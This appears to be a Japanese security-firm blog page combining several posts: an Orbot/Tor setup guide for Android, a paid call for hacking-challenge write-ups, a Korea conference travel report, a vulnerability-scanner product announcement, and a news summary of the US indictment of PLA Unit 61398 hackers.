通話の際などのセキュリティ機能をフルに利用するためには、相手側にも同じアプリがインストール済みで有償のサービスに加入することが必須となっていますが、端末代金には1年間で3名までサービスを無料で利用できる特典がプラスされています。特典終了後は、月額10ドル(約1030円)の利用料を支払うか、Blackphoneを購入することで利用を継続することが可能です。

TorのAndroid版!

Orbot」は、P2P方式の匿名プロキシツールとして知られる「Tor」のAndroid版だ。ブラウザからサーバの間に複数のTorノードを経由させてアクセスを行なうことで、通信先サーバや通信内容を暗号化できる。

Torを利用すれば、特定のサーバとの通信がブロックされているネットワークに接続していても、ブロックされているサーバにアクセス可能だ。また、Torの通信は暗号化されているので、ネットワーク管理者による盗聴も回避できる。

ただし、最後に経由するTorノードからは、アクセス先サーバとの通信内容が丸見えなので、盗聴される恐れがある。Tor経由でブラウジングを行なっているときは、重要なサイトのパスワード入力などは行なわないほうがいいだろう。
orbot_001Orbotを最初に起動すると、このような確認画面が表示される。「root」権限の取得が可能な端末では、すべてのアプリの通信をTor経由で行なう機能が利用できるが、不要な場合は下のチェックボックスをONにして「Next」を押そう。
orbot_002次の画面では、そのまま「Next」を押せばいい。
orbot_003このようなメイン画面が表示されたら、ボタンを長押ししよう。
orbot_004接続処理の進捗状況が表示され、しばらくすると接続が完了し、ボタンが緑色になる。戻るボタンでOrbotを閉じても、Torネットワークへの接続は維持されるぞ。
orbot_005Firefoxのアドオン画面で「proxy」などを検索し、「Proxy Mobile」をインストールしよう。
orbot_006Proxy Mobieの設定で「SOCKS Proxy Host」に「127.0.0.1」、「SOCKS Proxy Port」に「9050」を入力し、「SOCKS Remote DNS」を「はい」にした状態で、「Use Proxy」を「はい」にしよう。
orbot_007正しくTor経由でアクセスできているか確認するには、アクセス元の情報を表示する「診断くん」のページにアクセスしてみるといい。「REMOTE_HOST」の欄が見覚えのないホスト名になっていれば成功だ。

ハッキングチャレンジサイト8946の模範解答レポートを受付開始!一稼ぎしませんか!?

学院公式運営サイトである、ハッキングチャレンジサイト8946

http://www.hackerschool.jp/hack/

にてtake3~take63までの回答をレポート形式(PDF)にて募集致します。解説書ボリュームは出来るだけ分りやすくを心がけて作成をお願いする為、数十ページ以上になるものと思われます。参考としてこちらをご覧ください。http://www.dlmarket.jp/product_info.php/products_id/226024(無料)

かねてより皆様からの解説書がtake1、take2、take24以外にもないのか?解説書が欲しいと連日の様にメール頂いておりました。我々としても出来るだけ対応をしようと思っておりましたが、激務の中解説書作成まで手が回らずに今日まで経過していた次第です。そこで、今回8946の回答者の方々のお力をかり、これから情報セキュリティの世界へお越しになる方々の為解説書を全問題完備を目指す運びとなりました。

上記流れから、解説書を欲していらっしゃる方々は初心者である方々が圧倒的多数でありますので、『極度に分りやすく』をモットーに製作して頂ければと思います。

・製作されたら我々宛てにデータを送って下さい。(info@whitehackerz.jp)

・我々から採用・不採用の通知を致します。(不採用の場合は修正提案を差し上げます)

・採用されたら1問につき5000円を報酬としてお支払いいたします。(支払い方法は銀行振り込みまたはアマゾンポイントのどちらかをお選びください)

・無料版として掲載致しますが、そのレポートの制作者としてお好きなお名前及び運営サイトのURLなどを掲載させて頂きます。(必要のない方は言って下さい)

・著作権はwhitehackerzが保有する事になります。

以上、学院からのお知らせです。現在全60問分の枠がありますので、×5000円で最高30万円稼ぐチャンスです。夏休みの前のお小遣い稼ぎで如何でしょうか?

以上宜しくお願い致します。(30ページに満たない、画面キャプチャーも無い様なモノは即刻不採用です)

13796954050001

韓国サイバーセキュリティ会議出席からの38度線から北朝鮮に臨む白Z!

行って参りました!
第4回韓国情報セキュリティ会議。
高度な意見が飛び交う中、アジア太平洋地域の安全なIT社会実現の為の白熱した議論が繰り広げられました。souru001

そしてこれだけに飽き足らず、ここまで来たからには国境からのジョウホウセキュリティ実況中継ぐらいしないと、読者の方々は満足してもらえない!と白Z魂に火が付き行って参りました!38度線!souru002

観光スポットである展望台は何故か1ケ月超えの閉鎖状態でした。何があっているのでしょう?souru003

閉鎖されていた事により、気のきく運転手さんは、韓国と北朝鮮の共同事業である開城工業団地の入口へと案内してくれました。

道中物々しい警備体制の中、工業団地への立ち入りを切望するも断念。その入口が見える展望台へ行ってきました!souru004

川の向こうが北朝鮮souru005

北朝鮮と韓国を結ぶ鉄道も見えます。

今回の訪韓に際して、完成するWhitehackerz製の脆弱性スキャンソフトを大きくPR出来るようにプレゼンテーションの場を設けてくれた李氏に心から感謝致します。

城Zは羽ばたきます!

世界へ!

東南アジアへ!

そこにサイバー犯罪がある限り!

命の限り!

脆弱性検査ソフト(whitehackerz製品)リリースマジか!!!

遂に8月!開発に多大な苦労と挫折を繰り返しやっとの思いで完成し世に送り出すその名も【SamuraiScan】脆弱性検査(スキャン)ソフト!

世界最強の検査ソフトである事に疑いはありません。我々の真価が試されるその時が刻、一刻と近づいてきました。

今回は導入する企業がコストをかけずに導入できるよう大型の助成金がおりるよう交渉を続けております。

我々はめげません。

我々はくじけません。

我々は進みます。

どんなにいばらの道でも。

またこれに先立ち無料でセキュリティ講座を開き見込み客集めをしており、リアルマーケティングの最先端を走っております。この無料という講座にこられた方々に、後日メルマガを定期的に発行し、機が熟すタイミングをソフト発売時に設定し一気に営業をかけて行く作戦です。whitehackerz0055

61398部隊とは?

2014052007344235f

中国人民解放軍が関与したとみられるサイバー攻撃の手口を解説したビデオ

「『もうたくさんだ』と言わなければいけない」。ホルダー米司法長官は19日の記者会見でいらだちを隠さなかった。 会見では起訴した5人の顔写真と名前を載せた米連邦捜査局(FBI)の指名手配のポスターを掲げ、 厳しく責任追及する姿勢を示した。
5人は中国人民解放軍総参謀部第3部「61398部隊」に所属。米セキュリティー会社のマンディアント社が 昨年の報告書で、温家宝元首相一族の巨額蓄財疑惑を報じた米紙ニューヨーク・タイムズなどを狙った サイバー攻撃は同部隊によるものと特定。今回は司法当局が初めて認めた。
米司法省によると、2006~14年にかけて王東、孫凱良、文新宇の各被告がハッカー攻撃による侵入を企て、 黄鎮宇、顧春暉の両被告が共謀して侵入を助けた。産業スパイや商業機密窃盗など31件の罪に問われた。
スパイ対象になったのは東芝傘下の米原子力大手ウエスチングハウス(WH)、鉄鋼大手USスチール、 太陽光パネル製造の独ソーラーワールドの米国子会社、非鉄大手アルコアなど企業5社と労働組合。
WHでは10年に原子炉の配管や支持構造物、建屋内の配管の経路などの設計情報を盗まれた。 当時、WHは4基の「AP1000」型原子炉を中国で建設中。中国は同型原子炉の国産技術化を進めており、 途上国への原発輸出を狙っている。
ソーラーワールドは12年、生産ラインやコストなどの経営情報を含む数千種類のファイルを盗まれた。 同じ時期に中国メーカーによる太陽光パネルの米市場でのダンピング(不当廉売)が判明、米企業は打撃を受けた。
「研究開発や新製品開発のコストは競争力を左右する。サイバー攻撃で得た情報の価値は重要だ」と 米政府高官はいう。米企業へのサイバー攻撃で得た情報を関連する中国企業に流し、 競争力を高めた可能性がある。

とはいえ、何でもかんでも悪いことを中国に結びつける姿勢に疑問を呈するのは、まったくもって正しいことだ。例えば、近ごろシステムへの侵入を受けた米アップル、米フェイスブック、米ツイッターのケースは、東欧のハッカーの仕業である可能性がある。世界最大の石油会社サウジアラムコの機密情報を狙った最近のサイバー攻撃にはイラン勢が背後にいたと思われる。